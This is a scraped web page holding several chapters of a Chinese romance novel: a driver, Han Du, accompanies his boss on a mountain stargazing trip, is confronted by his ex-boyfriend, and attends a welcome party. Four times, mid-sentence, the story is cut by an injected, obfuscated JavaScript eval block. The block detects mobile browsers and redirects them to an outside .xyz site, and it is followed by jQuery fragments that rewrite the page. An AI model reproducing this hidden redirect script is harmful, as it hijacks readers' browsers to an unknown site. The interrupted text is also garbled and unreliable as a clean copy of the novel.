“一些偶然和必然吧。”荣逸飞明白他话里的意思,说了句让众人摸不着头脑的话,接着又笑道,“你就放心吧,我跟从峥已经说开了,他只在乎苏郁明的想法,其他的都无所谓。”
“什么叫其他都无所谓?”郭子期不解。
“一支好的股票,不可能只有一个买手。他尊重所有竞争者,不会管那么多。”荣逸飞眼皮微耷,仿佛有些醉了,“你没看出来吗,从峥他现在只想要苏郁明的一句话。”
孙星桥若有所思地低头喝酒。
郭子期道:“你说苏郁明这是在跟谁较劲呢?谁能都看出来他们两情相悦,问就是‘不爱’,这不是自欺欺人吗?怎么就不能好好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897220|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在一起?”说完这段话,郭子期猛地想起对面的荣逸飞好像也在追求苏郁明,忙去看对方表情。
荣逸飞神色平淡地答:“并不是喜欢就能在一起,他顾虑太多了。从峥也有他自己的想法。”
见荣逸飞没把自己的话放在心上,郭子期也放心了,不再顾忌什么:“你觉得他们还是不能成?”
荣逸飞似笑非笑地给了郭子期一个眼神:“我自然是不希望他们能成。”
郭子期讪笑。孙星桥道:“成与不成,还得看他们自己,苏郁明能不能过了自己心里那关,我们魏少爷也得改一改脾气。”
“老魏这些日子已经有些变化了。”郭子期掐算着说道,然后看了眼荣逸飞,开始当墙头草,“当然,脾气还是比不上咱们荣老板,我支持苏郁明跟荣老板在一起。”
“跟我在一起,也未必就能好。”荣逸飞浅笑着向韩渡举杯,第一次主动跟韩渡搭话,“韩渡,如果你也喜欢男人,你家里会同意你把人带回去吗?”
韩渡还没有跟这个世界的父母接触过,换作是曾经那个世界——他脑海中闪过自己被亲生父母逐出家门的画面,不由低笑着摇头:“他们只会恨不得连我一起送走。”
荣逸飞点头:“普通人家已经是这样了,更何况我们。”
郭子期不可思议地说道:“荣逸飞,谈个恋爱而已,难不成你真打算跟个男人结婚过一辈子?”
“有什么不可以?”
“你可是荣家独苗,你懂这句话的份量吗?人家魏从峥好歹上头还有个哥哥。”
“他要面对的阻力不会比我小。”
“不是,你跟他比什么烂?这有什么好比的,谁阻力小谁就能光荣迎娶苏郁明吗?”郭子期忍不住吐槽道。
“诶呀,行了行了,讨论那么远的事情好没意思。咱们先等他俩聊完上来吧,也不知道能聊成什么样子。”孙星桥赶忙说道。
荣逸飞很好脾气地笑了笑,将杯中的酒一饮而尽。
魏从峥和苏郁明并没有回雅间,而是一通电话将韩渡唤了出去。索性今晚的局也就散了。
嗅到韩渡身上的酒精味,魏从峥很是无语:“就不该放你跟他们走。”
郭子期在旁边冒头:“小韩酒量不错的,你看,说话舌头捋得多直溜。”
“那你来给我开车?”魏从峥眼神犀利地看过来。
“我不行,我也喝了。”郭子期连连摆手,笑得贼兮兮,“我们几个都喝了,待会儿叫代驾,你自己看着办吧。不过,你跟苏郁明不是没喝吗?要不……让小苏送你们回去?”
“没问题,我来吧。”苏郁明脸红扑扑的,满眼洋溢着幸福和满足。
荣逸飞的目光在他脸上驻留片刻,静静地收了回来。
最后,还是魏从峥顶的驾驶员位置。他从后备箱拿出条毛毯,递给坐在副驾的苏郁明:“盖好,回去有段路,别着凉了。”
苏郁明羞涩地将毛毯团着抱在胸前。
韩渡坐在后排,破天荒享受了一回老板的待遇。看见二人这番互动,一时也想起了家里的韩卉。韩卉还没出事的时候,也是这么关怀他这个“哥哥”的,而现在,这种相处方式已经一去不复返了。
14. 观星预演
回去的路途很长,也许是因为有韩渡在的缘故,坐在前面的魏从峥和苏郁明只偶尔交流两句,其余时候并不说话。
虽然不怎么说话,两人此前紧张的气氛倒是消融了。夜寒霜重,车里却萦绕着暧昧的暖意。
魏从峥先将苏郁明送到了家。
下车前,苏郁明将抱了一路的毛毯叠好,轻轻放在座椅上。
魏从峥向他招手,他疑惑地看过来。
魏从峥倾身向前,在他脸颊落下一个吻:“晚安。”
苏郁明睁圆眼睛,茫然不知所措,后知后觉又感到一阵熬人的甜蜜,直到车已经驶远,仍然站在原地,久久不能回神。
车上只剩下魏从峥与韩渡二人,韩渡起先没注意,等意识过来才赶紧提醒道:“魏总,方向反了。”再往前就要出燕城了。
魏从峥开口道:“我知道。”
接下来还有活动?韩渡感到意外:“这是要去哪里?”
“出城,陪我去个地方。”
“……时间不早了,家里还有人在等我。”
“你妹妹?”魏从峥看了眼仪表盘上的时间,“你也说时间不早了,她要睡早就睡了。”
“她毕竟是病人,我得回家看着。”
“一个晚上换三天假,再算你三倍加班费。”
“账不能这么算。”韩渡无奈地看着他。
“那怎么算?”魏从峥从后视镜里望过来,挑衅地冲韩渡笑,“不跟我去也行啊,方向盘现在在我手里,你自己跳车?”
临时添加行程还理直气壮,简直是没法沟通。
知道抗议无效,韩渡索性态度一变,翘起腿,换了个更舒服的坐姿:“刚才都没跳车,现在更不会跳了。”
“原来你也知道自己是个电灯泡。”
“是啊,真不好意思,打扰你跟苏先生亲热了。”
“你还会不好意思?”魏从峥奚落道,又往后视镜瞥了一眼,看到韩渡微闭着眼,两颊因酒精作用变得酡红。
韩渡道:“怕你们情难自禁,我当然会不好意思。”
“那你还得修炼。”谁知魏从峥根本不以为羞,反而笑道,“做我的司机,少不了要看些有意思的东西。”
“魏总的脸皮实在让人钦佩。”
“你的嘴皮子功夫也不差。”
两人百无聊赖地插科打诨,经过高速公路,一路疾驰到郊外山区。
车身在盘山公路上一圈圈攀爬,逐渐深入山岭。山林植被遮天蔽月,黑沉如水,只有车上两盏前照灯在凝重的空气中一晃又一晃。
魏从峥将车开到了半山腰,此处有一块平整地界,一座镶嵌在山岭里的半山别墅矗立在夜色中。
韩渡从车里走出来,冷风一吹,被酒精搅浑的头脑清醒了许多。他望着近在咫尺的三层小楼,玩笑道:“月黑风高,山间小屋,是个杀人闹鬼的好地方。”
“你倒是会说吉利话。”魏从峥从后方走过来,轻哼一声,将车钥匙抛给韩渡,在前面带路。
魏从峥打开电子锁,推门的同时介绍道:“这间宅子是三年前买的,定期有人来打扫,我有时候也会来这边躲清闲。”
“先进来换件衣服。”魏从峥轻车熟路地拉开电闸,霎时间,整栋楼变得亮堂无比。
夜里山间温度低,这时节又正是深冬,两人身上的衣服并不足以御寒,此时都有些冷了。听魏从峥这话里的意思,似乎他待会儿还打算出去做点什么事。韩渡琢磨着裹了裹身上的衣服,跟在他后面进了楼。
进去后,魏从峥去了楼上,让韩渡坐在楼下等他一会儿。
一盏硕大的烛台式吊灯高悬在韩渡头顶,他仰头望去,只见一楼客厅顶部被完全挑空,顺着西南方向的螺旋梯往上,能看到二楼走廊上并排的几间卧室房门。
不多时,魏从峥从楼上背下来一只巨型包裹,臂弯还挂了两件厚外套,递给韩渡一件:“你试试看合不合身。”
韩渡接过衣服穿上,是合身的。
魏从峥满意地上下打量,终于说出了此行目的:“走吧,今晚我们在山顶过夜。”
“什么?”
望着韩渡惊异的表情,魏从峥乐道:“现在连跳车的机会都没有了。”
无奈之下,韩渡只能陪魏从峥半夜爬山。山路崎岖,越往山顶越陡峭,魏从峥走在前面,肩上背着一只半人高的黑色旅行包,手里拿着手电筒照明。韩渡跟在后头,他留意了一下,发现手机信号时断时续,谈不上坏但也绝对不好。
魏从峥显然是来过这里,对路线十分熟悉,大约半小时后,两人来到山顶。
山顶冷风呼啸,吹得韩渡脸颊生疼,他搓了搓脸,仰望夜空中皎白的月亮,不由有些失神。等他回头,发现魏从峥已经不声不响地从背包里拿出来一堆器材,开始原地搭建帐篷。
韩渡走上前,从他手里拿过长杆,一边帮着弄,一边忍不住问:“这么冷的天,你确定要在山顶过夜?”
月光下,魏从峥的眼睛亮得惊人,他笑着望过来,语气蛊惑:“机会难得,你就不想体验一下?”
“体验一下怎么被冻死吗?”韩渡没好气道。
魏从峥放声笑道:“体验如果够难得,冻死也无妨呐。”
韩渡见他兴致高昂,不由也被牵动了情绪,笑道:“葫芦里到底卖的什么药,这时候总该透露了吧。”这一路韩渡也猜出了一些,或许魏从峥也是临时起意要来这里,至于是出于什么目的,韩渡就猜不出了。而所谓的让他陪着过来,不过是因为当时他恰好就在车上。
“求过婚吗?”见韩渡诧异地挑起眉毛,魏从峥改口道,“告过白吗?”
韩渡扶着撑杆,配合魏从峥将防水布拉开:“你要在这里跟苏郁明告白?告白跟搭帐篷过夜有什么关系?”
“待会儿你就知道了。”魏从峥又卖了个关子。
韩渡觑了他一眼,手底下继续忙活。他野外露营经验十足,动作很快,魏从峥也是这方面的行家,两人配合默契,很快就扎好了帐篷。
一切都弄好后,韩渡坐在帐篷口休息,只见魏从峥从背包里掏出了一只脚架和一台天文望远镜。他微微弯腰,在帐篷不远处低头摆弄手里的器械,目光专注,时不时抬头观测一眼星空。清冷的月辉洒在他脸上,将他白日里的阴晴不定一洗而光,看起来竟然有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897221|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些温柔。
韩渡也终于明白过来魏从峥在做什么。
他记得按照小说情节发展,因为好兄弟荣逸飞也对苏郁明动了感情,魏从峥嫉怒交加,对苏郁明始终不肯正视两人感情更加不满,于是爆发了一场冷战。也正是借着这一次冲突,苏郁明终于看清了自己的内心,主动向魏从峥表明心意。随后不久,魏从峥便将苏郁明带到一处山顶,二人依偎着观赏了一场流星雨,正式确定关系。
这么看来,今晚在兰溪水榭,二人解开心结,关系更进了一步。魏从峥此时满怀爱意,做出大半夜上山踩点、露宿山顶的决定也就不足为奇了。
韩渡视线落在魏从峥身上,思绪却跑远了,直到魏从峥在他眼前晃了两圈,忽然凑过来:“想什么呢?这么认真。”
“没什么。”韩渡问道,“你望远镜弄好了?”
“没什么还直勾勾盯着我看?”
“魏总您真会说话。”
魏从峥挑眉望了望韩渡,伸出手:“起来试试看。”
韩渡借着他的臂力站起来,走到已经架好的三脚架前。魏从峥绕到他侧方,指导他该怎么使用。
按照魏从峥的指示,韩渡将眼睛对准镜筒。
镜筒里,漫天星光霎时尽收眼底。
半晌,韩渡调匀呼吸,收回视线。
“怎么样?”魏从峥唇角微翘。
“他会喜欢的。”韩渡笑道。
“喜欢最好,不喜欢也可以。”魏从峥却傲娇了起来。
“这话怎么说?”韩渡奇道。
“关键看是谁在告白,现在做的这些事情都只是锦上添花。”
韩渡笑了笑:“这么有自信,既然不重要,又何必大半夜跑来踩点?”
“当然是为了寻开心。”魏从峥眨了眨眼,“就像我刚才说的,这种体验可不多得,何况现在站在我面前的,既不是苏郁明,也不是郭子期、程松,而是刚刚认识、还跟我动过手的你。”
韩渡笑道:“确实稀罕,哪怕是半个月前,我都想不到今天会站在这里。”
魏从峥视线在韩渡脸上停留片刻,提起来另一桩事:“听说你没把人送去疗养院?”
韩渡解释道:“我放心不下。”
魏从峥表示理解:“你们兄妹俩感情亲厚,再好不过。”说完这,他将目光落在韩渡手腕:“上回的伤,现在恢复得怎么样了?”
“已经恢复好了。”韩渡不愿意多谈,转而向他道谢,“何安的事一直没感谢你。”
“不用谢,”魏从峥说道,“何安咎由自取,你既然为我办事,一些人我也会帮你打点好。只是我多说两句,要么不出手,出手了就别留破绽,动作多了,需要注意的地方也更多。”
“我明白,后面我会更谨慎。”韩渡听着这些话,垂眸看向地面。
“光谨慎还不够。”魏从峥道。
“放心吧,不会再给你添麻烦。”
“我是这个意思吗?”魏从峥眼尾扫过来,见韩渡垂下头,细碎发丝下的侧脸显得冷静苍瘦,于是眼神一动,将剩下的话缓缓说完:“你哪天兜不住,或者想明白了,也可以向我求助。”
15. 不速之客
山风刺骨,后半夜韩渡没耐住,先进了帐篷。他掀起帐篷帘的一角,见魏从峥还在调试望远镜。
“不睡吗?”韩渡打了个哈欠,问道。
“你先睡吧。”魏从峥没有回头。
“行。”韩渡放下帘子,钻进了睡袋。躺下后,他想着刚刚魏从峥说的话,不去求对方帮忙的想法反而更坚定了。何安跟他之间的事,他会自己去解决。
一刻钟后,见帐篷里没了动静,魏从峥将手里的望远镜放回支架,抻了抻腰,走到山岩边,俯瞰脚下黑茫茫的丛林,不知在想些什么。
韩渡躺下后,很快就睡着了,醒来时天还没亮。他看了眼时间,发现睡过去没多久,刚过了凌晨三点。
帐篷里很安静,他微一侧头,就看见了魏从峥那张十分漂亮的脸。魏从峥鼻梁高挺,眉宇浓厉,唇形单薄,配上他时常有些邪性的表情,给人的距离感很强。韩渡忍不住用“漂亮”这个词形容他,不仅是指五官长相,更是给人的整体感觉,魏从峥身上有一种利刃出鞘的利落。
帐篷空间很小,韩渡尽量不惊动他,悄悄掀开睡袋,蹑手蹑脚出了帐篷。
冷风猛地灌入,一出帐篷就冻得韩渡打了个寒噤,他紧了紧衣服,快步往身后的树林里走。
寻了处偏僻地方,韩渡迅速解决完生理需求,摸黑沿原路返回。
夜路不好走,林子里又荒,韩渡留意着手边,一时没顾上脚,冷不丁在一颗尖石上一磕,刺痛感陡然袭来。
韩渡无暇去看,忍着痛加快步伐,希望能早点走回帐篷。
“这么冷的天,出来不带衣服?”不远处有人忽然说话,韩渡循着人声望去,只见一道高大的黑色人影站在不远处的树下,手里还拿着一件外套。
魏从峥从树下走过来,将外套扔给韩渡,嘴角挂着笑:“上个厕所,用得着跑这么远?”
韩渡赶紧把外套穿上,他确实快冻死了。感谢了一声,他好奇道:“你怎么也出来了?”
“还不是某人动静太大。”
“对不住啊。”韩渡说道,深一脚浅一脚地往回走。
魏从峥目光落在他脚上:“脚怎么了?”
“估计是崴了。”
“让你大半夜鬼鬼祟祟。”
韩渡懒得跟他拌嘴,直到回到帐篷,他正要躺下,魏从峥不知从哪里拿出了手电筒。
刺眼的灯光在韩渡眼前晃,魏从峥故意拿灯闪他:“看看伤到哪了。”
韩渡瞟他一眼:“你会拿手电筒吗?”
魏从峥笑得促狭:“快起来。”
“没什么好看的,明天早上起来就没事了。”
“我灯都拿了。”
韩渡拗不过他,只好从睡袋里出来,将裤腿往上卷了两道。
“肿起来了。”魏从峥仔细观察后说道,“我们下山吧。”
“现在?”
“伤成这样,这条件你怎么睡?”
“回去万一再踩到哪里……”
“你搭着我走。”
韩渡本就在帐篷里睡得不踏实,于是不再纠结,同意了魏从峥的建议。
下山路上,韩渡因为一只脚受伤,走得不快。两人走走停停,比上山时要慢上很多。
魏从峥平日里看着脾气不好,这时候倒耐着性子陪韩渡一路往山下挪。
磨蹭了将近四十分钟,两人终于回到半山别墅,韩渡被安排睡在一间收拾好的客房。
柔软的床榻跟睡袋比起来简直是天堂,韩渡折腾了一夜,也顾不得脚伤了,倒头就睡了过去。
这一觉睡得太沉,直到天光大亮。
韩渡走出房间时,发现吴传非已经坐在楼下客厅,不知道等候了多久。在吴传非身边,还坐着一位身穿白大褂的中年医生。
听见楼上脚步声,吴传非合上膝盖上的电脑,仰头向韩渡问好。
韩渡笑着说了句“早”,走下楼梯,来到二人面前:“吴助理,你是在等魏总?”
吴传非摇了摇头,笑道:“魏总一大早就离开了,这会儿人已经在国外,我是在等你。”
国外?韩渡纳闷道:“他走多久了?”
“魏总是早上六点多的飞机。”吴传非道,接着转身向韩渡介绍,“这位是张医生,魏总特意请来为你看伤。”
六点?他们昨夜回来已经是四点多了。这人身体是铁打的吗?
韩渡回过神,连忙摆手说:“太麻烦了,没什么大碍。”
“总不能让张医生白跑一趟,还是看一眼吧。”吴传非侧身请张医生上前。
话都说到这份上了,韩渡不好再推拒,便在沙发上坐下,配合张医生上了些药。
正如韩渡所说,他脚上的扭伤已经基本消肿了,但张医生还是一脸严肃地给他上了药,全程没有多说一句话。
待医生离开后,韩渡问吴传非:“魏从峥离开前,有交代什么吗?”
“魏总说,后面放你三天假,请你在家好好养伤。”
魏从峥这人居然说话算话,说好的三天假,转头就安排上了。韩渡又跟吴传非寒暄了几句,简单用餐后,吴传非开车载着他出了山,一路将他送到市区的住址。与吴传非道别后,韩渡缓步走进小区。
一晚上没回家,韩渡有些担心韩卉的状态。他望着电梯里不断跳跃的楼层数,“叮”的一声后,电梯门打开,迎面却撞上了一张本不该出现在这里的脸。
这是张胡子拉碴、眼睑青灰的脸,蓬乱的头发被一顶鸭舌帽蛮横地压在了帽檐下,一看见韩渡,这张脸的主人立刻堵了上来。
“你昨晚去哪儿了?”薛子航急切地问。
韩渡差点没认出来,这才多久没见,薛子航怎么变得这么憔悴了?
不对,昨晚他们还在兰溪水榭的车库见过。
薛子航看韩渡的眼神很奇怪,不善中夹杂着焦虑和兴奋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897222|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“你昨晚去哪儿了?”他又问了一遍。
“你为什么会出现在我家门口?”韩渡反过来问他。
薛子航有些神经质地绕着韩渡转圈打量:“你怎么会坐在魏从峥的车里?你一夜没回来,是跟他开房去了?”
“我现在是他司机。”韩渡皱眉道,“你嘴巴放干净一点。”
薛子航笑了:“我就说嘛,他怎么可能会看上你。”
韩渡急着进家门,又不想当着薛子航的面开门,怕惊动韩卉,于是问道:“你有事找我?”
“就不请我进去坐坐?”薛子航道。
“我们已经分手了。”
“分手了连你家门都进不去了?”薛子航不满道,见韩渡脸色微变,又问道,“你现在真是他司机?”
韩渡眉头皱得更紧,转身道:“这里不方便说话,你跟我来。”旋即向对面的消防通道走去。
薛子航拉了拉帽檐,跟在他身后走进了消防通道。
进了消防通道,韩渡又往楼下走了一层,最后在一处拐角的窗口边站定:“说吧,今天来找我到底什么事?”
“你跟魏从峥关系怎么样?”薛子航也不再兜圈子,直接问道。
“你想找他办事?”
“我有话要当面跟他说。”
“那你找我干嘛?”韩渡笑了,“我可没那么大能耐给你们牵线。”
“他不肯见我。”薛子航烦躁地挠了挠耳边的碎发。
“那我更帮不到你了。”韩渡说,“听你的意思,是跟他早就认识,你做了什么得罪他的事?”
薛子航眼睛一瞪:“我哪里敢得罪他?”
韩渡看着他不说话,片刻之后,薛子航抹了把脸,恨恨道:“有人在他面前编排我,他现在对我误会很深,不肯见我,我什么也做不了。”
有人编排薛子航?韩渡立刻联想到小说剧情。苏郁明跟薛子航已经对上了吗?按照书里的描写,薛子航性格好强,咄咄逼人,明里暗里给苏郁明使了不少绊子,最后闹得凶了,魏从峥才出面制止这场闹剧。
韩渡刚见过苏郁明,也看过原著,不认为苏郁明是那种背后编排人的性格,但这毕竟牵扯到薛子航和魏从峥的私情,他之前分手的时候都没有提,这时候也不会多说,于是只装作对内情全不知情,反问道:“你不是已经开始跟踪魏从峥了?”
“我没有!”薛子航忽然大叫,“我就算跟踪他,也只是为了跟他说句话!”
“你先别激动。”
“说白了你就是不想帮我!”薛子航怒道,“我就知道你对我怀恨在心,攀上了魏从峥这棵大树,果然就瞧不起人了!你就说到底帮不帮我吧,我已经被封杀了,我快完了!”
此话一出,没等韩渡说什么,一道声音插了进来:“他说的对啊,你先别激动,控制一下情绪。”
一个穿着外卖员制服的年轻人,拎着餐包从楼道里一路爬了上来。
16. 打抱不平
“关你什么事?”薛子航见对方只是个外卖员,当即呛道。
“有热闹还不让人看吗?”外卖员脚下不停,穿过二人继续往楼上爬,一边嘴上还说,“有本事等我下来,咱们再理论。”
“你!”薛子航正要发怒,那人已经“跐溜”一下跑得不见了踪影。
韩渡见状,继续之前的话:“不是我不想帮你,只是我一个外人,前因后果什么情况都不知道,就算现在一口答应你,又能有什么作用?”
“只要你帮我约他出来。”
“你刚刚说你被封杀了?什么情况?”韩渡转而问道。
薛子航将自己社交账号被公司收走、几部签好的戏都被换角、面临高额赔款和一屁股官司的事都一股脑倾诉出来,越说越是面色惨白,眼里既有愤恨不甘也有哀愁委屈。最后,他开始埋怨魏从峥的无情:“他怎么能这么对我?那些日子我也算尽心尽力——”
韩渡靠在窗边,面不改色地听着他自曝私情。
好在薛子航还没完全被情绪冲昏了头脑,意识到站在对面的人曾经跟自己的关系,及时把后面的话收了回去,只是脸上依然难掩幽怨,似乎被抽干了力气。
“你说有人在他面前诽谤你?那人是谁?你们有什么恩怨?”
“这些你不用知道。”薛子航警惕起来。
韩渡浅笑着点头:“好,那我就不问了。虽然没办法让你们见面,念在过去的交情,有机会我会帮你说两句话。”
薛子航先是一喜,接着轻咳一声,扯了扯衣领:“是啊,我们也有过感情,虽然是你先做了对不起我的事,我也从来没怪过你……”
韩渡打断他:“时间不早了,不耽误你接下来的事,今天就先这样吧。”
目送薛子航离开后,韩渡上楼往回走,正巧碰上刚从楼上跑下来的那个外卖员。
“诶?那人呢?”外卖小哥摘下了头盔,露出一张清秀阳光的脸,看模样比韩渡还小几岁。
韩渡见此人态度热络,于是回道:“已经走了。”
“走了啊,动作这么快。”他遗憾地嘀咕,见韩渡要往回走,急忙把人叫住,“你怎么会认识这种人啊,他情绪不稳定,不适合做男朋友的。”
韩渡回过身,端详眼前这位小伙子。
乔斌被他的眼神看得有些局促,不过这种情绪一闪而逝,他挺了挺胸膛,又自来熟地问:“他让你帮他,你答应了?”
韩渡点头。
“你帮这种人干什么?”乔斌为他叫屈。
“他现在穷途末路,什么事都做得出来,先答应他,把人稳住。”
“还是你想的周到。”乔斌赞道,又轻咳一声,“不过,他那样的身板,我一只手就能摁住,也不用怕他。”
韩渡笑了一声,转身又要往回走。
“诶,加个联系方式呗,下次他再来找你,我给你撑场子。”冷不丁的,乔斌在他身后大喊。
韩渡闻言,缓缓停下了脚步,回头看他。
……
进入家门后,韩渡将脱下的外套挂起来,换上拖鞋,走到紧闭的卧室门前,轻轻敲了敲:“小卉?”
半晌无人应门,韩渡转身来到厨房,只见厨房餐桌上,依然摆放着他离家时留下的几道小菜,现在都凉得不能更凉了,没有任何被人动过的迹象。
韩渡再次走到次卧,这回不再敲门,而是直接推门而入,他正要说什么,却见床铺隆起,韩卉正闭着眼睛安睡,只好默默叹口气,又悄悄合上了门。
自从那件事过后,韩卉的精神状态一直很不稳定,嗜睡症状明显,吃不进东西,人也肉眼可见的消瘦下来。韩渡心里着急,却没什么特别有效的法子,除了定期带她去看医生、监督她用药,就是在家陪她吃饭,亲自盯着。但是他也得工作,有自己的生活,不可能照顾得面面俱到。
也许魏从峥说的对,疗养院会把韩卉照顾得很好。可是话又说回来,与其直接把人送到疗养机构,不如先带回家乡,让二老看顾一阵子,到时候实在不行,再考虑疗养院也不迟。
先等等吧,等年后再说。韩渡心里思量着,将剩饭剩菜倒进了垃圾桶。
韩卉这一觉睡到了傍晚,韩渡见她脚步沉重地推门出来,从厨房里探出身子,声音轻柔地说:“醒了?肚子饿不饿?晚饭马上就好。”
韩卉呆滞的眼神在触及韩渡时微微一动,随后低着头从他面前走过。
听着隔壁盥洗室传来关门的声音,韩渡举着锅铲,抿了抿唇。
晚餐是按照韩卉的口味做的,一盘炒青菜和一条清蒸鱼,清淡可口,但韩卉只动了几筷子,饭也只吃了几口。韩渡往她碗里夹了好几筷子。韩卉低声道:“吃不下了。”
“再吃两口。”韩渡说道,“我一个人吃不完,别浪费了。”
韩卉多年养成勤俭的习惯,听他这么说,便也默默将碗里的饭菜吃干净了。
韩渡看在眼里,稍微松了口气。
饭后,他收拾碗筷,让韩卉自己先在客厅看电视。等他都忙完了,也来到客厅,将一杯热牛奶递给韩卉,随后在她身边坐下。
韩卉小口小口地喝着牛奶,除了不怎么说话,倒是一切表现正常,似乎韩渡一夜未归也并未对她造成很大的影响。韩渡陪她看了会电视节目,正要起身,新闻报道里忽然出现一道熟悉的身影。
海外的现场转播画面逐渐放大,魏从峥的脸也随之变得清晰。
电视画面中,西装革履的魏从峥正在一群人的陪同下巡视某项工程,那股漫不经心的邪乎劲儿一收,倒也很有威严凛然的派头。报道里称他为“年轻有为的魏氏下一任掌舵人”,言谈间不乏溢美之词。
当晚夜深人静时,韩渡找出一本笔记本和一支笔,根据脑海中的记忆,开始记录原著情节。
他尽量按照时间顺序,事无巨细地记录着,就这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13897223|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么写写停停,很快一晚上便过去了。
三天之后,韩渡按照吩咐,再次来到那座私人机场。
这回不再是他一个人接机,苏郁明和郭子期都到了。
两人与韩渡打过招呼后,低声聊了几句,此后,苏郁明一个人静静望着窗外,郭子期走到韩渡身边,与韩渡寒暄。
韩渡玩笑道:“早知道你们要来接机,我就不白跑一趟了。”
郭子期嘿地一笑:“话说早了,你待会儿也要跟我们一道过去。”
韩渡微讶,问道:“是有什么活动吗?”
“荣逸飞的表妹回来了,办了个狂欢派对。”
“我谁也不认识,就不去凑热闹了。”韩渡笑道。
“多见几面就都认识了。再说了,星桥和荣逸飞也在,你可以跟着我们。”郭子期乐呵呵地拍了拍韩渡。
交谈间,一架小型飞机从天际出现,滑过长道徐徐降落。
苏郁明一双杏眼弯起,率先走到了接机口。
不久,魏从峥在一位年轻助理的跟随下出现在三人视野中。
几日不见,他似乎晒黑了些,肤色呈现出健康的光泽感,略长的黑发未经仔细打理,抹了点发胶便一齐捋到了额头上方,露出桀骜的眉眼。远远望见等候自己的三人,魏从峥同身后助理低语了两句。长相颇有异域感的年轻助理闻言看向韩渡,走过来,将手中拖运的行李箱送到韩渡面前:“你好,我是魏总此行的助理兼翻译,叫我小王就行。”
小王笑着露出一口整齐牙齿,咬字间颇有节律,母语看样子不是中文。
韩渡点头问好,从他手里接过行李箱。
“什么风把你们都吹来了?”魏从峥目光看了一圈,最后落在苏郁明脸上。
“接你去参加昭昭的接风宴。”郭子期说。
“她回来了?”魏从峥意外地将目光转向他。
“这丫头果然瞒着你呢。”郭子期笑嘻嘻地说,“跟我们走吧,大家都等着你呢。”
“行。”魏从峥答应下来,接着对韩渡说,“我跟他们走,你先把行李送到公司,吴传非会在那边等你。”
韩渡正要点头,郭子期已经开口了:“来都来了,不让小韩一起过去?”
魏从峥啧啧称奇:“你们关系什么时候这么好了。”
“我们上回聊的投缘,你可别嫉妒。”郭子期从韩渡手里抢过行李箱,“这破箱子我给你收着,今天谁都不许走,小王你也是,一起过来玩。”
小王与韩渡站在一道,闻言不由笑出八颗牙齿。
魏从峥勾了勾唇角:“我这个上司还在呢,直接越过我下命令了?”
“知道你在。”郭子期扭头朝苏郁明努嘴,“苏郁明,快管管你老公。”
苏郁明被他这个称呼一唬,本来要凑上来的脚步硬生生止住了。
魏从峥笑道:“别胡说八道。走吧,那就一起过去瞧瞧。”
17. 接风派对
魏从峥坐上了郭子期和苏郁明那辆车,韩渡开车载着小王,一路跟在后面。
小王中文名王舍,确实不是本国人,从小在国外长大,平时的工作地点也不在国内,这次是随同魏从峥一起回国,办完相关业务后还会离开。
尽管中文说得不是很流畅,小王却十分健谈,一路上谈天说地,不曾冷场。
所谓的接风派对,举办场地在一处人迹罕至的度假山庄。
度假山庄依山而建,下方是一条百米长的黄土坡,铺着稀疏的植被。冷风席卷而过,沙尘乱舞,一片荒芜寂寂。
繁华的燕城居然还有这样的地方,韩渡带着好奇,跟随前车缓缓驶入山庄。
下车时,夕阳已经落到山头,在一座古堡般的建筑物上洒下大片金光。
古堡外墙由体积庞大的灰色石块砌成,占地面积极广,巍峨屹立在高坡上,最高的屋顶上矗立着一座高举权杖的女神雕像,古典气息扑面而来。
但就在这样文艺复古的古堡前头,停着一排排极具现代感的豪华座驾。
还没走进里面,已经能听见隆隆作响的音乐声从门缝里传出。
刚一进门,“砰”的两声巨响,手臂粗的礼花筒在他们头顶炸开,无数碎箔片和彩带霎时喷洒出来。
苏郁明被这阵仗吓一大跳,低呼一声,魏从峥看了他一眼,将人护到了身后。
“峥哥,你们可算来了。”一位成熟靓丽的女子穿过人群迎面而来,带起缕缕香风。
魏从峥拨开洒落在肩头的彩带,嘴角衔着笑:“两年没见,侯大小姐更加明艳动人了。”
